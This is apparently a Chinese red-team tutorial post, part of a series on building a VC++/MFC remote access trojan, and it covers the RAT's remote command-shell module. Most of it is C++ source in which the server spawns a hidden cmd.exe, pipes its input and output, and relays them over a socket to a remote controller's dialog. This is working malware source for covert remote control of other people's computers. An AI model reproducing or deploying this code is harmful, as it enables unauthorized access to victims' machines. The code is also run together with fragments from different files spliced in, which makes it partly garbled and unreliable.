红队专题-从零开始VC++C/S远程控制软件RAT-MFC-超级终端

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系

[16]超级终端(1)

服务端 — 本地打开cmd — 接收命令 — 执行 — 发送回显

客户端 — 远端发送命令 — 接收回显

 发送开启cmd命令 --- 接受命令 --- 打开cmd1.创建管道 --- 建立连接2.服务端 ---通过通道(net user)---> CMD ---通过管道guest---> 服务端客户端 OPEN_CMD(#define OPEN_CMD 0x01) 服务端 1.创建管道 --- 建立连接客户端 net user			       服务端 通过管道net user 送入CMD进程 ---通过管道guest---> 服务端服务端 发送回显class CCmdShell
{
public:CCmdShell(void);~CCmdShell(void);void Cmd_Init();void Cmd_Recv(char recv_buff[1024]);void Cmd_Send();DWORD GetProcID();void Cmd_GetSock(SOCKET sock);void NoTaskExit(SOCKET Socket);
private:SOCKET m_sock_cmd;CMySocket m_sock;HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;PROCESS_INFORMATION pi;STARTUPINFO si;
};void CCmdShell::Cmd_Recv(char recv_buff[1024])
{DWORD nByteWritten;if(strcmp("exit\r\n",recv_buff)==0){::CloseHandle(hWritePipe);::CloseHandle(hReadPipe);}WriteFile(hWriteFile,recv_buff,strlen(recv_buff),&nByteWritten,NULL);
}void CCmdShell::Cmd_Send()
{//发送命令SECURITY_ATTRIBUTES sa;DWORD len;char send_buff[1024];sa.nLength = sizeof(SECURITY_ATTRIBUTES);sa.lpSecurityDescriptor = NULL;sa.bInheritHandle = TRUE;CreatePipe(&hReadFile,&hWritePipe,&sa,0);SECURITY_ATTRIBUTES sa_r;sa_r.nLength = sizeof(SECURITY_ATTRIBUTES);sa_r.lpSecurityDescriptor = NULL;sa_r.bInheritHandle = TRUE;//创建管道CreatePipe(&hReadPipe,&hWriteFile,&sa_r,0);MSGINFO_S msg;memset(&msg,0,sizeof(MSGINFO_S));msg.Msg_id = CMDSHELL;while (true){//读取管道中的数据memset(send_buff,0,sizeof(send_buff));if(ReadFile(hReadFile,send_buff,1023,&len,NULL) == FALSE){break;}//把管道中的数据发送给远程主机CMD cmd;memset(&cmd,0,sizeof(CMD));strcpy_s(cmd.command,sizeof(send_buff),send_buff);cmd.flag = 0;memcpy(msg.context,&cmd,sizeof(CMD));m_sock.MySend(m_sock_cmd,(char*)&msg,sizeof(MSGINFO_S));}printf("CmdThreadOver\n");
}void CCmdShell::Cmd_Init()
{//初始化GetStartupInfoW(&si);si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;//使cmd的输入输出和管道关联si.hStdInput = hReadPipe;si.hStdError = hWritePipe;si.hStdOutput = hWritePipe;si.wShowWindow = SW_HIDE;wchar_t cmdline[256]={0};//得到系统路径GetSystemDirectory(cmdline,sizeof(cmdline));wcscat_s(cmdline,_T("\\cmd.exe"));//创建cmd进程if (CreateProcess(cmdline, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) == 0){printf("CreateProcess Error\n");}::CloseHandle(pi.hProcess);
}void CCmdShell::Cmd_GetSock(SOCKET sock)
{m_sock_cmd = sock;
}case CMDSHELL:{printf("CmeShell\n");m_cmd.Cmd_GetSock(l_Socket);::CloseHandle(CreateThread(0,0,SendCmd,(LPVOID)&m_cmd,0,0));Sleep(200);::CloseHandle(CreateThread(0,0,InitCmd,(LPVOID)&m_cmd,0,0));}break;case COMMAND: //未修改{CMD recvcmd;char recv_buff[1024];memset(&recvcmd,0,sizeof(CMD));memcpy(&recvcmd,msg.context,sizeof(CMD));memset(recv_buff,0,sizeof(recv_buff));strcpy_s(recv_buff,1024,recvcmd.command);if(m_task.ExistTask(m_cmd.GetProcID()) == false){m_cmd.NoTaskExit(l_Socket);break;}m_cmd.Cmd_Recv(recv_buff);}break;//客户端void GetReturnInfo(CMD t);
private:CStringToTransform m_str;CRect m_rect;CMySocket m_Mysock;SOCKET m_sock;MSGINFO msg;static unsigned int __stdcall OnCmdRecv(LPVOID self);void OnCmdRecv_run();BOOL CCmdShell::PreTranslateMessage(MSG* pMsg)
{// TODO: 在此添加专用代码和/或调用基类if(pMsg->message==WM_KEYDOWN)  {  int nVirtKey = (int)pMsg->wParam;if(nVirtKey==VK_RETURN)  {//发送消息if(m_send.GetSafeHwnd()==::GetFocus()){if(GetDlgItem(IDC_EDIT2)->GetWindowTextLengthW() == 0){return TRUE;}CString str;GetDlgItem(IDC_EDIT2)->GetWindowTextW(str);msg.Msg_id = COMMAND;CMD cmd;memset(&cmd,0,sizeof(CMD));memset(&msg,0,sizeof(MSGINFO));m_str.CStringToChar(str,cmd.command);if(strcmp(cmd.command,"exit")==0){SendMessageW(WM_CLOSE,0,0);return TRUE;}msg.Msg_id = COMMAND;strcat_s((char*)cmd.command,sizeof(cmd.command),"\r\n");memcpy(msg.context,&cmd,sizeof(CMD));m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg));GetDlgItem(IDC_EDIT2)->SetWindowTextW(_T(""));str.ReleaseBuffer();}return TRUE;}else if(nVirtKey==VK_ESCAPE){return TRUE;}}return CDialog::PreTranslateMessage(pMsg);
}void CCmdShell::GetReturnInfo(CMD t)
{if(t.flag == 0){CString tem;wchar_t *pwText;pwText = m_str.CharToCString(t.command);m_recv.GetWindowTextW(tem);m_recv.SetWindowTextW(tem + pwText);m_recv.SetSel(-1);delete[] pwText;m_send.GetFocus();}else{MessageBox(_T("服务端CMD进程被意外结束"),_T("提示"),MB_OK|MB_ICONWARNING);SendMessageW(WM_CLOSE,0,0);}
}void CCmdShell::OnClose()
{// TODO: 在此添加消息处理程序代码和/或调用默认值MSGINFO msg;CMD cmd;memset(&msg,0,sizeof(MSGINFO));memset(&cmd,0,sizeof(CMD));msg.Msg_id = COMMAND;strcpy_s((char*)cmd.command,sizeof("exit\r\n"),"exit\r\n");memcpy(msg.context,&cmd,sizeof(CMD));m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg));//CDialog::OnClose();((CItemData*)this->m_pParentWnd)->m_cmd = NULL;DestroyWindow();delete this;
}void CCmdShell::OnSize(UINT nType, int cx, int cy)
{CDialog::OnSize(nType, cx, cy);// TODO: 在此处添加消息处理程序代码if(nType == SIZE_MINIMIZED){return;}CWnd *pWnd,*pWnd1;pWnd = GetDlgItem(IDC_EDIT1);     //获取控件句柄pWnd1 = GetDlgItem(IDC_EDIT2);if(pWnd && pWnd1)//判断是否为空，因为对话框创建时会调用此函数，而当时控件还未创建{CRect rect,rect_l;   //获取控件变化前大小GetClientRect(&rect_l);pWnd->GetWindowRect(&rect);ScreenToClient(&rect);rect.right = rect.right + (rect_l.right - m_rect.right);rect.bottom= rect.bottom + (rect_l.bottom - m_rect.bottom);pWnd->MoveWindow(rect);//设置控件大小pWnd1->GetWindowRect(&rect);ScreenToClient(&rect);rect.top = rect.top + (rect_l.bottom - m_rect.bottom);rect.right = rect.right + (rect_l.right - m_rect.right);rect.bottom= rect.bottom + (rect_l.bottom - m_rect.bottom);pWnd1->MoveWindow(rect);//设置控件大小}else{delete pWnd;}GetClientRect(&m_rect);
}GetClientRect(&m_rect);MSGINFO msg;memset(&msg,0,sizeof(MSGINFO));msg.Msg_id = CMDSHELL;if(m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg))==SOCKET_ERROR){MessageBox(_T("启用CMD命令发送失败"),_T("错误"),MB_OK|MB_ICONINFORMATION);}typedef struct tagCMD //CMD命令信息
{int flag;char command[1024];
}CMD;void CStringToTransform::CStringToChar(CString str,char* w)
{int len = WideCharToMultiByte(CP_ACP,0,str,str.GetLength(),NULL,0,NULL,NULL);WideCharToMultiByte(CP_ACP,0,str,str.GetLength(),w,len,NULL,NULL);w[len] = '\0';
}wchar_t* CStringToTransform::CharToCString(char* temp) //替换
{DWORD dwNum = MultiByteToWideChar (CP_ACP, 0, temp, -1, NULL, 0);wchar_t *pwText;pwText = new wchar_t[dwNum];if(!pwText){delete []pwText;}MultiByteToWideChar (CP_ACP, 0, temp, -1, pwText, dwNum);return pwText;
}void CStringToChar(CString str,char* w);wchar_t* CharToCString(char* temp);